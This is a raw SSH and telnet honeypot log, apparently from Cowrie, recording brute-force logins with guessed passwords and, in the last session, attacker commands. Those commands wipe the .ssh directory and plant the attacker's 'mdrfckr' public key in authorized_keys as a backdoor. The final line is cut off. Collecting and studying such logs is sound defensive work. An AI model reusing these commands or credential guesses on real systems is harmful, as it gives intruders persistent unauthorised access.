{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:43.901577Z","src_ip":"152.32.162.42","session":"9b91182f5486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweasd","message":"login attempt [admin/qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:44.911323Z","src_ip":"152.32.162.42","session":"9b91182f5486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:46.159807Z","src_ip":"152.32.162.42","session":"9b91182f5486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.977011203765869,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:49.415011Z","src_ip":"38.54.119.93","session":"6f68943e5e7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60954,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ca46bf9dd5","protocol":"telnet","message":"New connection: 38.54.119.93:60954 (10.17.0.5:23) [session: d3ca46bf9dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:49.519851Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":54964,"dst_ip":"10.17.0.5","dst_port":22,"session":"38a51806cdf0","protocol":"ssh","message":"New connection: 186.113.245.157:54964 (10.17.0.5:22) [session: 38a51806cdf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:58.615183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:58.621614Z","src_ip":"186.113.245.157","session":"38a51806cdf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:58.714493Z","src_ip":"186.113.245.157","session":"38a51806cdf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passwd","message":"login attempt [ubuntu/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:59.112287Z","src_ip":"186.113.245.157","session":"38a51806cdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:00.208845Z","src_ip":"186.113.245.157","session":"38a51806cdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.35435771942139,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:04.145903Z","src_ip":"38.54.119.93","session":"43d0b689bd3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f064632fe2c8","protocol":"telnet","message":"New connection: 38.54.119.93:44816 (10.17.0.5:23) [session: f064632fe2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:11.027196Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.122.71.136","src_port":39734,"dst_ip":"10.17.0.5","dst_port":23,"session":"93543f56b868","protocol":"telnet","message":"New connection: 181.122.71.136:39734 (10.17.0.5:23) [session: 93543f56b868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:11.736240Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":37364,"dst_ip":"159.203.135.109","dst_port":22,"session":"32850a8d63a5","protocol":"ssh","message":"New connection: 186.10.86.130:37364 (159.203.135.109:22) [session: 32850a8d63a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:12.341601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:12.346686Z","src_ip":"186.10.86.130","session":"32850a8d63a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.244848012924194,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:12.409460Z","src_ip":"38.54.119.93","session":"5a4326939e84","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:12.497136Z","src_ip":"186.10.86.130","session":"32850a8d63a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Hello123","message":"login attempt [user/Hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:13.114388Z","src_ip":"186.10.86.130","session":"32850a8d63a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9070588a5cb4","protocol":"telnet","message":"New connection: 45.81.23.16:59870 (10.17.0.5:23) [session: 9070588a5cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:13.611665Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":59880,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ea7fa5adca","protocol":"telnet","message":"New connection: 45.81.23.16:59880 (10.17.0.5:23) [session: 67ea7fa5adca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:13.648276Z"}
{"eventid":"cowrie.session.closed","duration":62.15227270126343,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:14.010787Z","src_ip":"45.81.23.16","session":"cffbc321533b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":59886,"dst_ip":"10.17.0.5","dst_port":23,"session":"5464d14a49a9","protocol":"telnet","message":"New connection: 45.81.23.16:59886 (10.17.0.5:23) [session: 5464d14a49a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:14.077604Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:14.264040Z","src_ip":"186.10.86.130","session":"32850a8d63a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50192,"dst_ip":"10.17.0.5","dst_port":23,"session":"094d3c632a9c","protocol":"telnet","message":"New connection: 38.54.119.93:50192 (10.17.0.5:23) [session: 094d3c632a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:19.356765Z"}
{"eventid":"cowrie.session.closed","duration":6.1061553955078125,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:19.717711Z","src_ip":"45.81.23.16","session":"9070588a5cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50604,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e2994cf1d3","protocol":"telnet","message":"New connection: 38.54.119.93:50604 (10.17.0.5:23) [session: 76e2994cf1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:20.141831Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":41102,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f5676f2aa9","protocol":"ssh","message":"New connection: 115.68.208.117:41102 (10.17.0.5:22) [session: 85f5676f2aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:22.682564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:22.686539Z","src_ip":"115.68.208.117","session":"85f5676f2aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:22.905211Z","src_ip":"115.68.208.117","session":"85f5676f2aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devopsuser","password":"devopsuser","message":"login attempt [devopsuser/devopsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:23.789557Z","src_ip":"115.68.208.117","session":"85f5676f2aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.907534599304199,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:24.264196Z","src_ip":"38.54.119.93","session":"094d3c632a9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.195520401000977,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:24.931633Z","src_ip":"181.122.71.136","session":"93543f56b868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:25.003103Z","src_ip":"115.68.208.117","session":"85f5676f2aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.591252326965332,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:27.732932Z","src_ip":"38.54.119.93","session":"76e2994cf1d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4877f7ad353f","protocol":"telnet","message":"New connection: 38.54.119.93:55302 (10.17.0.5:23) [session: 4877f7ad353f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:28.001080Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":54414,"dst_ip":"10.17.0.5","dst_port":22,"session":"e922b17f1d68","protocol":"ssh","message":"New connection: 152.32.162.42:54414 (10.17.0.5:22) [session: e922b17f1d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:31.948046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:31.956054Z","src_ip":"152.32.162.42","session":"e922b17f1d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:32.207832Z","src_ip":"152.32.162.42","session":"e922b17f1d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git2019","message":"login attempt [git/git2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:33.244754Z","src_ip":"152.32.162.42","session":"e922b17f1d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58802,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d66c467fbba","protocol":"telnet","message":"New connection: 38.54.119.93:58802 (10.17.0.5:23) [session: 1d66c467fbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:33.999217Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:34.499274Z","src_ip":"152.32.162.42","session":"e922b17f1d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":53026,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9327159b6fd","protocol":"ssh","message":"New connection: 177.85.247.230:53026 (10.17.0.5:22) [session: a9327159b6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:36.454735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:36.458241Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:36.559229Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracledba","message":"login attempt [oracle/oracledba] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:36.997023Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.250838Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.254085Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.257870Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.362263Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.603329Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 